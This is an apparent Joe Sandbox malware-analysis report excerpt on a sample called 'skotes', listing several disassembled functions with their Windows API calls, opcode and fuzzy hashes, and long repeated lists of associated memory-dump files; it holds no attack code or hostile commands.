Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 10e41904faca2bc27f021f4e81c088d67f5880f0482269fd0c3b9a2d7430c28a
Instruction ID: 017202321e40c77e6a95bed8597b569dc8f49233311a2d77d61c6726d4f2d033
Opcode Fuzzy Hash: 10e41904faca2bc27f021f4e81c088d67f5880f0482269fd0c3b9a2d7430c28a
Instruction Fuzzy Hash: 64A12532A081489FCF19DF68DD92BEE3BB1AB06320F184199E911AF3D1D7349C52CB91

Function 009D7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,56D4C919,?,00000000,00A19138,000000FF), ref: 009D75CC
CreateThread.KERNEL32(00000000,00000000,009D7430,00A38638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 009D76BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009D76C9

Part of subcall function 009ED0C7: RtlWakeAllConditionVariable.NTDLL ref: 009ED17B

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: a24e0ba8d40da8f1807d84d91bb1469c8c98f67148cf334c960581418592eebe
Instruction ID: 66ed303658975c62a3e6c14e45b459461c6c425004a61193983a1554bb50374b
Opcode Fuzzy Hash: a24e0ba8d40da8f1807d84d91bb1469c8c98f67148cf334c960581418592eebe
Instruction Fuzzy Hash: AD51F370241384AFEB14CFA8CC86F9D7BA5EB44704F508619F819873E1DB79D981CB91

Function 00A06FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00A06EE6), ref: 00A06FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00A07030
__dosmaperr.LIBCMT ref: 00A070C5

Part of subcall function 00A0732A: __dosmaperr.LIBCMT ref: 00A0735F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: f9d33e5d9d948963bcb52be521a829358e999767bd9b7c705843f674a8d20e02
Instruction ID: 0a4bbbf170689060d126301b3182b68b7b97d468761081d30928365ef88e6421
Opcode Fuzzy Hash: f9d33e5d9d948963bcb52be521a829358e999767bd9b7c705843f674a8d20e02
Instruction Fuzzy Hash: F2416E71D04248ABDB24DFB5ED419AFBBF9EF89300B10492DF856D3291E730A941CB21

Function 009D9BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009D9BA8
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f164d33616cad51c19e9c9d769332d60b4145a531c7c457c2ddf4262087e9484
Instruction ID: 5560bc64bb41026911ac73b95c7a528085cc04ba778298dd8096cac9442f1998
Opcode Fuzzy Hash: f164d33616cad51c19e9c9d769332d60b4145a531c7c457c2ddf4262087e9484
Instruction Fuzzy Hash: EA319E317851048BEB08EBBCDD8975DB7A6EFD1314F24C21AE014A73D5C77999C08751

Function 009D9CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009D9CDD
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 43e250b56e55e23cb07bc14142df6c137e97fd3703112b3f856affde47b9ccfe
Instruction ID: 8a92aeaa853e026f86345047bf0ff7f6b938fd89f6249d68275a63a4d683f4a8
Opcode Fuzzy Hash: 43e250b56e55e23cb07bc14142df6c137e97fd3703112b3f856affde47b9ccfe
Instruction Fuzzy Hash: E83168326891408BEF08EBB8DD887ADB766EFC5314F24861AF015A73D5C73599808B51

Function 009D9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009D9F47
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
